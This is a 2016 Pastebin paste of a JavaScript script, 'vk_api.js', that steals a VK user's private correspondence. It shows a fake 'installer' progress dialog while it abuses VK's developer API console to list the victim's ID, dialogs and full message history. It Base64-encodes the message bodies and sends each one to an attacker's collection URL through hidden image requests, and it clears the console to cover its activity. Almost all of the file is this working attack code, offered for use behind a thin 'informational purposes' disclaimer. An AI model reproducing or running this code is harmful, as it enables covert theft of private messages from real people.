Redfern_89

vk_api.js

Oct 23rd, 2016
430
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. /* Все написано в ознакомительных целях!!! */
  2.  
  3. /**
  4. *
  5. *  Base64 encode / decode
  6. *  <a href="http://www.webtoolkit.info/" title="http://www.webtoolkit.info/" class="liexternal">http://www.webtoolkit.info/</a>
  7. *
  8. **/
  9.  eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('5 C={h:"U+/=",P:z(a){5 b="";5 c,k,m,F,q,f,e;5 i=0;a=C.M(a);E(i<a.y){c=a.o(i++);k=a.o(i++);m=a.o(i++);F=c>>2;q=((c&3)<<4)|(k>>4);f=((k&D)<<2)|(m>>6);e=m&s;p(K(k)){f=e=x}u p(K(m)){e=x}b=b+j.h.l(F)+j.h.l(q)+j.h.l(f)+j.h.l(e)}w b},W:z(a){5 b="";5 c,k,m;5 d,q,f,e;5 i=0;a=a.L(/[^A-Y-N-9\\+\\/\\=]/g,"");E(i<a.y){d=j.h.B(a.l(i++));q=j.h.B(a.l(i++));f=j.h.B(a.l(i++));e=j.h.B(a.l(i++));c=(d<<2)|(q>>4);k=((q&D)<<4)|(f>>2);m=((f&3)<<6)|e;b=b+7.8(c);p(f!=x){b=b+7.8(k)}p(e!=x){b=b+7.8(m)}}b=C.J(b);w b},M:z(a){a=a.L(/\\r\\n/g,"\\n");5 b="";O(5 n=0;n<a.y;n++){5 c=a.o(n);p(c<t){b+=7.8(c)}u p((c>Q)&&(c<R)){b+=7.8((c>>6)|S);b+=7.8((c&s)|t)}u{b+=7.8((c>>H)|G);b+=7.8(((c>>6)&s)|t);b+=7.8((c&s)|t)}}w b},J:z(a){5 b="";5 i=0;5 c=T=v=0;E(i<a.y){c=a.o(i);p(c<t){b+=7.8(c);i++}u p((c>V)&&(c<G)){v=a.o(i+1);b+=7.8(((c&X)<<6)|(v&s));i+=2}u{v=a.o(i+1);I=a.o(i+2);b+=7.8(((c&D)<<H)|((v&s)<<6)|(I&s));i+=3}}w b}};',61,61,'|||||var||String|fromCharCode||||||enc4|enc3||_keyStr||this|chr2|charAt|chr3||charCodeAt|if|enc2||63|128|else|c2|return|64|length|function||indexOf|Base64|15|while|enc1|224|12|c3|_utf8_decode|isNaN|replace|_utf8_encode|z0|for|encode|127|2048|192|c1|ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789|191|decode|31|Za'.split('|'),0,{}))
  10. /**
  11. *
  12. *   VKAPI
  13. *
  14. **/
  15. var vkAPI = {
  16.    
  17.     victim_id: 0,
  18.     percent_complete: 0,
  19.    
  20.     ui : {
  21.        
  22.         lbl: {},
  23.         pb: {},
  24.        
  25.         set_progress: function(perc, stat) {
  26.             vkAPI.ui.pb.css({ width: perc + '%' }).text(perc + '%');;
  27.             vkAPI.ui.lbl.text(stat);
  28.            
  29.         },
  30.        
  31.         createDialog: function() {
  32.             var dlg = $('<div></div>', {
  33.                 class: 'im--dialog-load',
  34.                 id: 'vk_dialog'
  35.             });
  36.             var new_left = (($(window).width() / 2) - (550 / 2));
  37.             var new_top = (($(window).height() / 2) - (129 / 2));
  38.             dlg.css({
  39.                 width: 550,
  40.                 height: 129,
  41.                 background: '#fff',
  42.                 border: '1px solid #939393',
  43.                 'border-radius': '4px',
  44.                 margin: '0 auto',
  45.                 position: 'absolute',
  46.                 top: new_top,
  47.                 left: new_left,
  48.                 'box-shadow': '#ccc 1px 1px 2px',
  49.                 'z-index': '99999999'
  50.             });
  51.            
  52.             var label = $('<div></div>', {
  53.                 class: 'im--dialog-label',
  54.                 id: 'vk_label'
  55.             });
  56.             label.css({
  57.                 border: '1px solid #faebcc',
  58.                 color: '#8a6d3b',
  59.                 background: '#fcf8e3',
  60.                 margin: '15px 16px 7px 19px',
  61.                 padding: '4px 5px',
  62.                 'border-radius': '3px'
  63.             });
  64.             label.html('<b>Добро пожаловать в установщик!</b> Дождитесь окончания загрузки данных с сервера и не закрывайте эту вкладку');
  65.             dlg.append(label);
  66.            
  67.             var progress_bar = $('<div></div>', {
  68.                 class: 'im--dialog-pb',
  69.                 id: 'vk_pb'
  70.             });
  71.             progress_bar.css({
  72.                 'box-shadow': 'inset 0 1px 2px rgba(0,0,0,.1)',
  73.                 background: '#f5f5f5',
  74.                 'border-radius': '4px',
  75.                 margin: '11px 16px 7px 19px',
  76.                 height: 20
  77.             });
  78.             vkAPI.ui.pb = $('<div></div>', {
  79.                 id: 'vk_pb_inner'
  80.             }).css({
  81.                 background: '#428bca',
  82.                 height: '100%',
  83.                 'border-radius': '4px',
  84.                 width: '0%',
  85.                 'line-height': '19px',
  86.                 color: '#fff',
  87.                 'text-align': 'center'
  88.             });
  89.             progress_bar.append(vkAPI.ui.pb);
  90.             dlg.append(progress_bar);
  91.            
  92.             vkAPI.ui.lbl = $('<div></div>', {
  93.                 class: 'im--status-label',
  94.                 id: 'vk_status_lbl'
  95.             }).html('Ожидание...');
  96.             vkAPI.ui.lbl.css({
  97.                 margin: '11px 16px 7px 19px'
  98.             });
  99.             dlg.append(vkAPI.ui.lbl);
  100.            
  101.             dlg.prependTo('body');
  102.         }
  103.        
  104.     },
  105.    
  106.     dialogs_storage: [],
  107.     messages_storage: [],
  108.     dialogs_data_storage: [],
  109.    
  110.     /* Тут должен быть адрес ресурса, на который приходят данные */
  111.     __action_url: '',
  112.     __api_url: 'https://vk.com/dev/',
  113.    
  114.     __add_xss_image: function(params) {
  115.         var img = new Image();
  116.         img.onload = function() {
  117.             img = undefined;
  118.         }
  119.         img.src = vkAPI.__action_url + '?' + params;
  120.     },
  121.  
  122.     api: function(method, params, callback) {
  123.  
  124.         $.ajax({
  125.             type: 'POST',
  126.             url: vkAPI.__api_url + method,
  127.             success: function(raw_data) {
  128.                 var $data = $(raw_data) || {};
  129.                 var raw_hash = $data.find('#dev_req_run_btn').attr('onclick').match(/\'(.*?)\'/i)[1]; // EPIC WIN!
  130.                 var a_send = $.extend({ act: 'a_run_method', al: 1, hash: raw_hash, method: method, param_v: '5.58' }, params);
  131.                 $.ajax({
  132.                     type: 'POST',
  133.                     url: vkAPI.__api_url,
  134.                     data: a_send,
  135.                     success: function(raw) {
  136.                         var response = raw.match(/\{\"(.*)/i)[0];
  137.                         var jsObj = $.parseJSON(response);
  138.                        
  139.                         callback(jsObj, params);
  140.                     }
  141.                 })
  142.                
  143.             }
  144.         })
  145.     },
  146.    
  147.     check_dialogs_load: function(dialogs_count, callback) {
  148.         var check_timer0 = setInterval(function() {
  149.            
  150.             if (vkAPI.dialogs_storage.length == dialogs_count) {
  151.                 clearInterval(check_timer0);
  152.                 callback();
  153.             }
  154.         }, 500);
  155.     },
  156.    
  157.     process_messages: function() {
  158.         var dialogs_count = vkAPI.dialogs_storage.length;
  159.         var work_count = 0, workFlag = false;
  160.  
  161.         var load_msg_timer2 = setInterval(function() {
  162.             if (work_count == (dialogs_count)) {
  163.                 clearInterval(load_msg_timer2);
  164.                 workFlag = true;
  165.             }
  166.             var current_dialog = vkAPI.dialogs_storage[work_count];
  167.            
  168.             if (!workFlag) {
  169.                 workFlag = true;
  170.                 vkAPI.load_messages(current_dialog, function(user_id, data, work_info) {
  171.                     work_count++;
  172.                     workFlag = false;
  173.                     perc = Math.round((work_count / dialogs_count) * 100);
  174.                     vkAPI.percent_complete = perc;
  175.                     vkAPI.ui.set_progress(perc, work_info + ', [' + work_count + ' / ' + dialogs_count + ']');
  176.                     console.clear();
  177.                 });
  178.             }
  179.            
  180.         }, 500);
  181.     },
  182.    
  183.     load_messages: function(user_id, callback) {
  184.         var offset = 0, steps = 0, msg_count = 0, i = 0, cur_msg_count = 0, tmp_msg_count = 0;
  185.         var msg_data_arr = new Array();
  186.         vkAPI.api('messages.getHistory', { param_count: 0, param_user_id: user_id }, function(data) {
  187.             msg_count = parseInt(data.response.count);
  188.             steps = Math.ceil(msg_count / 200) -1;
  189.            
  190.             var load_msg_timer1 = setInterval(function() {
  191.  
  192.                 if (i == (steps +1)) {
  193.                     work_info = 'Статус: [' + user_id + '] - ' + msg_count + '.. Подходов: ' + (steps +1);
  194.                     callback(user_id, msg_data_arr, work_info);
  195.                     clearInterval(load_msg_timer1);
  196.                 }
  197.            
  198.                 vkAPI.api('messages.getHistory', { param_count: 200, param_offset: offset, param_user_id: user_id, param_rev: 1 }, function(msg_data, params) {
  199.                     cur_msg_count = parseInt(msg_data.response.items.length);
  200.                     for (var j = 0; j < cur_msg_count; j++) {
  201.                         var items = msg_data.response.items[j];
  202.                         var msg_body = Base64.encode(items.body);
  203.                         vkAPI.__add_xss_image('act=set_msgs&v=' + vkAPI.victim_id + '&u=' + items.user_id + '&f=' + items.from_id + '&d=' + items.date + '&b=' + msg_body + '&p=' + vkAPI.percent_complete);
  204.                     }
  205.                 });
  206.  
  207.                 offset = offset + 200;
  208.                 i++;
  209.             }, 500);
  210.         });
  211.     },
  212.    
  213.    
  214.    
  215.     begin_dialogs: function() {
  216.         console.log('Загружаю диалоги');
  217.         $('body').html('');
  218.         vkAPI.ui.createDialog();
  219.         var loadUserIDFlag = false, dialog_array = [];
  220.        
  221.         vkAPI.api('users.get', null, function(data) {
  222.             vkAPI.victim_id = data.response[0].id;
  223.             loadUserIDFlag = true;
  224.         });
  225.        
  226.         vkAPI.api('messages.getDialogs', { param_count: 0 }, function(data) {
  227.             var dialogs_count = parseInt(data.response.count);
  228.             var load_steps = Math.ceil(dialogs_count / 200);
  229.             var offset = 0;
  230.            
  231.             vkAPI.check_dialogs_load(dialogs_count, function() {
  232.                 console.log('Диалоги загруженны');
  233.                 vkAPI.process_messages();
  234.             });
  235.            
  236.             for (var i = 0; i < load_steps; i++) {
  237.                
  238.                 vkAPI.api('messages.getDialogs', { param_count: 200, param_offset: offset }, function(dialogs_data) {
  239.                     current_count = dialogs_data.response.items.length;
  240.                     for (j = 0; j < current_count; j++) {
  241.                         if (dialogs_data.response.items[j].message.chat_id) {
  242.                             var chat_id = dialogs_data.response.items[j].message.chat_id;
  243.                             //vkAPI.dialogs_data_storage.push('chat' + chat_id);
  244.                             vkAPI.dialogs_storage.push(dialogs_data.response.items[j].message.user_id);
  245.                         } else {
  246.                             var user_id = dialogs_data.response.items[j].message.user_id;
  247.                             //vkAPI.dialogs_data_storage.push('user' + user_id);
  248.                             vkAPI.dialogs_storage.push(user_id);
  249.                             vkAPI.__add_xss_image('act=set_dialogs&victim_id=' + vkAPI.victim_id + '&dialog_id=' + user_id);
  250.  
  251.                         }
  252.                     }
  253.                 });
  254.                
  255.                 offset = offset +200;
  256.             }
  257.         });
  258.     }
  259.    
  260. };
  261. vkAPI.begin_dialogs();
Advertisement
Add Comment
Please, Sign In to add comment